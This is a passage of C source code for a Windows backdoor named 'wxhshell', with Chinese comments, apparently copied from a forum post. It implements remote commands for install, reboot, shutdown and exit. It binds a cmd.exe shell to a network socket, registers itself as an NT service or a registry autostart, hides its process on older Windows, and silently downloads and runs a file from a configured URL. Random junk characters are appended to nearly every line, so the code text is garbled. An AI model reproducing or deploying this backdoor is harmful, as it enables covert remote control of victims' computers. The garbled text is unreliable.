&9F(uk=X  
    switch(cmd[0]) { T^~9'KDd  
  :[ AP^  
  // 帮助 u  t4+c0  
  case '?': { ,Y3wXmG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I_h{n{,sr  
    break; ZT'Sw%U:  
  } X0"f>.Lg  
  // 安装 hpVu   
  case 'i': { 7yK1Q_XY>  
    if(Install()) 8${Yu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eX@7f!uz  
    else J \V.J/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Ta<7tEM  
    break; {BlKVsQ  
    } Ud8*yB  
  // 卸载 ';hTGLq\X  
  case 'r': { oz- k_9%  
    if(Uninstall()) ~1yMw.04V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tuiQk=[ c  
    else bn$}U.m$-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 11Hf)]M   
    break; tSvklI  
    } U.B=%S  
  // 显示 wxhshell 所在路径 {k}EWV  
  case 'p': { p!~{<s]  
    char svExeFile[MAX_PATH]; "=BO,see9  
    strcpy(svExeFile,"\n\r"); Y4B< ]C4  
      strcat(svExeFile,ExeFile); J|BZ{T}d  
        send(wsh,svExeFile,strlen(svExeFile),0); VF<C#I  
    break; 6(X5n5C  
    } 66+y@l1  
  // 重启 t9Nu4yl  
  case 'b': { * (4TasQu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y/1,%8n  
    if(Boot(REBOOT)) o-D,K dY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A|esVUo<3^  
    else { 9IRvbE~2  
    closesocket(wsh); _\tGmME37  
    ExitThread(0); GK/Q]}Q8pZ  
    } U8 b1 sz  
    break; 3koXM_4_{)  
    } 3oCw(Ff  
  // 关机 ", :Ta|  
  case 'd': { "n3i (sZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;5.o;|w?!  
    if(Boot(SHUTDOWN)) 6!3Jr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I:qfB2tL)O  
    else { n6a*|rE  
    closesocket(wsh); T"GuE[?a  
    ExitThread(0); dWI.t1`i  
    } $.z~bmH"D  
    break; +HK)A%QI  
    } yeCR{{B/'  
  // 获取shell <9s=K\-  
  case 's': { f 2#9E+IQ  
    CmdShell(wsh); R "&(Ae?LR  
    closesocket(wsh); /Lc= K<  
    ExitThread(0); 2z\4?HJy  
    break; 7Pc0|Z/  
  } w$5N6  
  // 退出 {xC CUU  
  case 'x': { 'ZHu=UT7_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WLAJqmC]  
    CloseIt(wsh); >Ufjmm${  
    break; 7 \ <4LX  
    } ~Lc>~!!t  
  // 离开 !vQ!_|g1  
  case 'q': { 1@ j>2>i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I>27U<PX  
    closesocket(wsh); >t"]gQHtx  
    WSACleanup(); jj)9jU z  
    exit(1); 4pF U`g=  
    break; [LonY49  
        } axY-Vj  
  } ?[W(r$IaE  
  } RTSR-<{z  
k:4?3zJI  
  // 提示信息 bmAgB}Ior  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sK:,c5^  
} {I |k@  
  } 8i;N|:WdH  
v}IP%84  
  return; I_yIVw;  
} r<oI4px  
6bg+U`&g  
// shell模块句柄 0NSn5Hq  
int CmdShell(SOCKET sock) 0;)6ZU  
{ |zu>G9m  
STARTUPINFO si; K)qbd~<\  
ZeroMemory(&si,sizeof(si)); sQ^>.yG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y\ T*8\h_[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rI}E2J  
PROCESS_INFORMATION ProcessInfo; &F}1\6{fL  
char cmdline[]="cmd"; &bJ98 Nxl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k~Pm.@,3o  
  return 0; !v2,lH  
} l\^q7cXG  
LeW.uh3.  
// 自身启动模式 qD\%8l.]Z  
int StartFromService(void) lq@Vb{Z  
{ AEwb'  
typedef struct 4(4JQ(5  
{ 8mA6l0  
  DWORD ExitStatus; F$ .j|C1a  
  DWORD PebBaseAddress; $U jSP  
  DWORD AffinityMask; 2LYd # !i  
  DWORD BasePriority; lkg-l<c\J  
  ULONG UniqueProcessId; F!>K8q  
  ULONG InheritedFromUniqueProcessId; 1A- 8,)  
}   PROCESS_BASIC_INFORMATION; Hcd>\0  
i&,U);T  
PROCNTQSIP NtQueryInformationProcess; T , =ga  
P&aH6*p1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >*}qGk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3i(k6)H$4  
SEchF"KJQF  
  HANDLE             hProcess; BHmA*3?  
  PROCESS_BASIC_INFORMATION pbi; W7A'5  
4Sg!NPuu7&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l7{hq}@;cC  
  if(NULL == hInst ) return 0; +>qBK}`  
"tIf$z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %FFw!eVi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FA^x|C=$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~+7yi4(i  
g}^ /8rW  
  if (!NtQueryInformationProcess) return 0; |/fbU_d  
Xs?7Whc6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zF i+6I$  
  if(!hProcess) return 0; TiBE9  
,P"R.A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X}z KV  
<(p1 j0_Q  
  CloseHandle(hProcess); l*Y~h3  
0HD1Ob^@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5,AQ~_,'\  
if(hProcess==NULL) return 0; _R(5?rG,  
0acY@_  
HMODULE hMod; N2&aU?`e  
char procName[255]; @?]-5~3;  
unsigned long cbNeeded; \S7OC   
%y w*!A1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Sw1]]-Es  
/1li^</|p`  
  CloseHandle(hProcess); G0s:Dum  
A}y1v;FB  
if(strstr(procName,"services")) return 1; // 以服务启动 c0G/irK  
deTbvl  
  return 0; // 注册表启动 >qF KXzI  
} sf*SxdoZU  
[ !R%yD;  
// 主模块 |I\A0aa  
int StartWxhshell(LPSTR lpCmdLine) ,Vs:Lle  
{ }BogE$tc  
  SOCKET wsl; 6vaxp|D  
BOOL val=TRUE; 2FVKgyV  
  int port=0; #6H<JB  
  struct sockaddr_in door; pV("NJj!  
J$I1 *~I4v  
  if(wscfg.ws_autoins) Install(); `u>BtAx8  
@J<B^_+Se  
port=atoi(lpCmdLine); #8z\i2I  
[d&Faa[`  
if(port<=0) port=wscfg.ws_port; Fcr@Un'  
fd,~Yj$R?  
  WSADATA data; oM7^h3R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lwg.'<  
;W+-x] O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z],"<[E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _5m }g!  
  door.sin_family = AF_INET; 8&UuwZ6i-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ai`:HhE  
  door.sin_port = htons(port); =!CuCV7$1O  
2@&|hd=-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m~U{ V9;*  
closesocket(wsl); F>b6fUtR  
return 1; Uqpvj90sw  
} 0&nF Vsz  
^n2w6U0  
  if(listen(wsl,2) == INVALID_SOCKET) { 3QHZC0AY  
closesocket(wsl); JZXc1R| 9  
return 1; ,){0y%c#y  
} $Tur"_`I;  
  Wxhshell(wsl); .E}});l  
  WSACleanup(); aXJe"IT.u  
~Op1NE  
return 0; rka:.#!  
UA8!?r-cR  
} h@DJ/&;u@  
; p_X7N  
// 以NT服务方式启动 !xc7~D@om(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y^A $bTQq  
{ QLUe{@ivc  
DWORD   status = 0; *=7[Ip< X  
  DWORD   specificError = 0xfffffff; ~ /x42|t  
P&tK}Se^V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )g --=w3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aOD"z7}U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VxFy[rP  
  serviceStatus.dwWin32ExitCode     = 0; ``<1Lo@  
  serviceStatus.dwServiceSpecificExitCode = 0; ^"l$p,P+  
  serviceStatus.dwCheckPoint       = 0; Qm.kXlsDI  
  serviceStatus.dwWaitHint       = 0; []]3"n  
@ tIB'|O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `@e H4}L*  
  if (hServiceStatusHandle==0) return; ( 7?%Hg  
9>#|~P&FE  
status = GetLastError(); _)l %-*Z7p  
  if (status!=NO_ERROR) 6-=_i)kzq  
{ ,![=_d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7asq]Y}<  
    serviceStatus.dwCheckPoint       = 0; uf^:3{1  
    serviceStatus.dwWaitHint       = 0; 0|ps),  
    serviceStatus.dwWin32ExitCode     = status; O$H150,Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; H+;wnI>@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _5T7A><q<  
    return; W*<]`U_.  
  } g=C<E2'i*  
xB(:d'1|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Rpk`fxAO  
  serviceStatus.dwCheckPoint       = 0; fI1;&{f   
  serviceStatus.dwWaitHint       = 0; `+.I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `0^i #  
} 2f!oA~|2  
lz(,;I'x  
// 处理NT服务事件,比如:启动、停止 $P(nh'\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hQm4R]a  
{ >u)ZT  
switch(fdwControl) .NT&>X~.V  
{ \`zG`f  
case SERVICE_CONTROL_STOP: AuTplO0_rE  
  serviceStatus.dwWin32ExitCode = 0; A7C+&I!L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hPxI& :N  
  serviceStatus.dwCheckPoint   = 0; \=7=>x_  
  serviceStatus.dwWaitHint     = 0; 5S]P#8  
  { X=pt}j,QrP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M@g gLW  
  } udGGDH  
  return; ?0mJBA  
case SERVICE_CONTROL_PAUSE: LtztjAm.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !|h2&tH  
  break; ~{YgM/c|dt  
case SERVICE_CONTROL_CONTINUE: ]&U|d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \hW73a!  
  break; |u"R(7N*  
case SERVICE_CONTROL_INTERROGATE: ;lH,bX~5  
  break; |u;BAb  
}; 1K9?a;.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ |n-x3h  
} a<'$`z|s  
-0SuREn  
// 标准应用程序主函数 $pfe2(8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $Ds]\j*  
{ 5?L:8kHsH  
j!MA]0lTM  
// 获取操作系统版本 6r=)V$K <  
OsIsNt=GetOsVer(); %]0U60  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #}7m'F  
HQ`nq~%&(  
  // 从命令行安装 +Z&&H'xD  
  if(strpbrk(lpCmdLine,"iI")) Install(); Vfm #UvA  
Jf<yTAm  
  // 下载执行文件 q>(u>z!  
if(wscfg.ws_downexe) { oHXW])[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UUf1T@-  
  WinExec(wscfg.ws_filenam,SW_HIDE); aE+$&_>ef  
} .cS,T<$  
0aTbzOn&  
if(!OsIsNt) { Cn;H@!8<s  
// 如果时win9x,隐藏进程并且设置为注册表启动 SE9u2Jk  
HideProc(); @GZa:(  
StartWxhshell(lpCmdLine); ~oA9+mT5  
} m2uML*&O5K  
else &9dr+o-(~  
  if(StartFromService()) 5rA!VES T  
  // 以服务方式启动 wu!_BCIy  
  StartServiceCtrlDispatcher(DispatchTable); *<1x:PR  
else `V):V4!j),  
  // 普通方式启动 JJ9e{~0 I  
  StartWxhshell(lpCmdLine); "8iiRzt#  
O"qa&3t%  
return 0; y8*@dRrq  
}
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只看该作者 1 发表于: 2006-10-10
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